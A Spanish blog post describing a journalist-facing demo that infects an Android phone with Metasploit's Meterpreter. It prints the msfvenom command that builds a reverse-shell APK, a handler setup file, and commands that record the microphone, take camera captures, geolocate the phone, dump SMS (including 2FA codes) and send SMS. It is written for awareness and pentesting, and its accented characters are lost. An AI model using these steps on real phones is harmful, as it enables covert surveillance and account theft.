Lo que hoy voy a contar no es algo actual, ms all de la versin 5 de Metasploit uno de los frameworks ms utilizados en la ciberseguridad. Metasploit ha liberado hace un tiempo la versin 5 de su framework con cosas ms que interesantes y que hacen que la herramienta haya ganado en muchas cosas, incluidas una estabilidad que ya haba alcanzado. Pero como deca, no hablar de cosas actuales, ya que el Meterpreter de Android es un payload ya con unos cuantos aos a sus espaldas, pero ha ido evolucionando y mucho desde que jugamos con l en este blog all por el ao 2014.

Por qu vuelvo a tocar este tema? Pues porque recientemente una periodista quera conocer ms detalles sobre la seguridad en los dispositivos mviles, el acceso a redes pblicas, etctera. Quera comprobar cmo funcionaba o poda funcionar una aplicacin en un dispositivo mvil que diera el control a recursos crticos para un usuario como la cmara, el micrfono o la ubicacin.

Metasploit para Android

En el equipo de
Ideas Locas preparamos un supuesto dnde tenamos un mvil Android infectado, lo ms rpido tirar del Meterpreter de Android. Eso o pagar 170, Euro arriba/abajo, anuales por servicios de control remoto de aplicaciones que utilizamos ya en el reportaje que Chema Alonso grab con Jordi vole en Salvados.


Figura 1: Demo de cmo controlar remotamente un terminal mvil

Metasploit me ha gustado siempre y, por ello, quera realizar la demo con ello. Aparte del coste 0. Decid tirar de Metasploit en su versin 5, del cual hablar ms adelante, en otros posts, ya que tiene novedades interesantes. Y prueba de que siempre me ha gustado Metasploit son los dos libros que he escrito sobre l.

Para este ejemplo, lo primero era crear ese
APK que contendr el Meterpreter y que al ejecutar la aplicacin pues lanzar a ste. Para crear la APK se ha utilizado la herramienta msfvenom. Hay que decir que otras opciones eran utilizar una applegtima y modificar su cdigo para inyectar el Meterpreter. Esto se poda explicar a la compaera periodista, para que entendiera como poda llevarse a cabo la infeccin en el mundo real. Fuimos por el camino fcil para la demo. Para la generacin de la APK se ejecut:

msfvenom p Android/meterpreter/reverse_tcp LHOST=[IP a la que se conecta el meterpreter] LPORT=[Puerto al que se conecta el meterpreter] R > [nombre APK].

Una vez instalado el
APK en el dispositivo se puede configurar el handler de Metasploit para poder recibir la conexin y poder trabajar la comunicacin y rdenes que se van a ejecutar.

Figura 2: Generando el APK malicioso

Si quieres automatizar la configuracin de mdulos puedes utilizar los ficheros
RC de Metasploit. Para este caso, podramos crear un fichero RC, por ejemplo, llamado androidMeterpreter.rc con el siguiente contenido:

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0 #Esto nos permite contestar a las peticiones que lleguen por cualquier interfaz de red run j #Para que se genere el hander como un job

Una vez que la
app de Android se ejecute, el Meterpreter se lanzar y conectar contra la IP configurada. Para la demo, tuvimos que configurarlo accesible desde Internet, ya que al final la idea era que pasramos por diferentes lugares y pudiramos hacernos tracking, entre otras cosas.

Riesgos expuestos y funcionalidades

Qu se quera mostrar en la demo realmente? Principalmente era demostrar que se puede ubicar un dispositivo, que se puede consultar la cmara, que se puede poner el micrfono a escuchar, que se poda capturar los SMS que, por ejemplo, un banco te enva como 2FA, que se puede enviar SMS desde el dispositivo infectado, etctera. Todo lo que se puede hacer, hacen y cmo lo hacen lo puedes aprender de verdad con el libro de "Malware en Andorid: Discovering, Reversing and Forensics" que escribi nuestro compaero Miguel ngel Garca del Moral. Una pasada.


Lo primero que probamos es el tema de la geolocalizacin. Por ejemplo, si nosotros nos llevamos el telfono por
Madrid y nos damos una vuelta podramos ir rastreando dnde se encuentra gracias a la funcionalidad. Meterpreter dispone de otra posibilidad de geolocalizacin de las red Wi-Fi a la est conectado el terminal. Esto se puede ejecutar a travs del comando wlan_geolocate. Debemos tener en cuenta que necesitaremos de una API Key.

Figura 3: Geolocalizacin del terminal

Otra pregunta tpica es la de, nos escuchan? nos espan? Hay muchas posibles respuestas a esto. Tecnolgicamente se puede? Claro que s. Tienes indicios? Revisa tu dispositivo. Por ello, una de las opciones que se queran mostrar en la demo es cmo se puede hacer uso del micrfono, porque se acept el permiso en la instalacin de la aplicacin, y se puede grabar lo que se dice cerca del dispositivo.

El comando para ejecutar esto es
record_mic y con el parmetro d se puede indicar el nmero de segundos que se quiere grabar. El resultado es un fichero WAV con el audio con lo que dicen los actores que estn cerca del dispositivo.

Figura 4: Grabando con el micrfono

Por supuesto, en una demo dnde sale una grabacin de micrfono viene la de la captura a travs de la cmara. En algunas charlas de concienciacin siempre he dicho que llevamos un micrfono y un par de cmaras, una por delante y otra por detrs, con nosotros todos los das y muchas horas al da encima. Por ello, utilizamos el comando
webcam_snap para hacer una captura de lo que se ve por esas cmaras del dispositivo.

Figura 5: Grabando con la webcam del terminal mvil

Adems, existe el comando
webcam_stream con el que se puede hacer una especie de streaming de lo que se ve a travs de la cmara del dispositivo. Hay que tener claro que esto son una serie de capturas con la cmara y que en funcin del dispositivo puede tener mejor o peor calidad.

Otra de las cosas que se queran para la demo es ver qu aplicaciones hay instaladas. Esto da ms informacin de lo que a priori podemos pensar. Hace un tiempo, en un
Equinox de ElevenPaths, junto a mi compaero Ioseba Palop, se nos ocurri hacer un sistema al que le pasaras una captura de trfico y con esto pudieras deducir aplicaciones instaladas en el dispositivo de un usuario.


Figura 6: Codetalk For Develoopers sobre Air Profiling

La idea era poder saber cul era el banco de un usuario, ya que ste no tendr, generalmente, instalada una app de un banco dnde no tiene un banco o si el usuario hace compras o vende en Wallapop, etctera. A este sistema lo llamamos AirProfiling y luego lo presentamos como TFM para alumnos. Pero si el dispositivo est infectado, con el comando app_list de Meterpreter podemos sacar las aplicaciones que hay instaladas en el dispositivo y podemos deducir este tipo de cosas.

Figura 7: Lista de apps instaladas en el dispositivo infectado

Por ltimo, se puede hacer un dump de diferentes campos: contactos, sms o registro de llamadas. Son aspectos interesantes y en la demo quisimos enfocar que conseguir un volcado de SMS, aunque no sean WhatsApp, puede ser vital. Por qu? Muchas entidades bancarias y otros servicios envan el 2FA por SMS. En otras palabras, se quiso ejemplificar el posible robo del 2FA a travs del SMS.

Por otro lado, este
Meterpreter dispone de la posibilidad de enviar SMS a travs de este dispositivo. Esto se realiza con el comando send_sms, por lo que la amenaza de suscripcin a sistemas Premium y otro tipo de riesgos es grande.


Figura 8: Mensajes SMS

Al final mi compaera Carmen Torrano defendi la demo y la llevo a cabo. Como siempre hay que tener en cuenta las posibilidades de Metasploit, las cuales parecen infinitas, y tenerlo siempre a mano para nuestros proyectos de pentesting.

Autor: Pablo Gonzlez Prez (@pablogonzalezpe)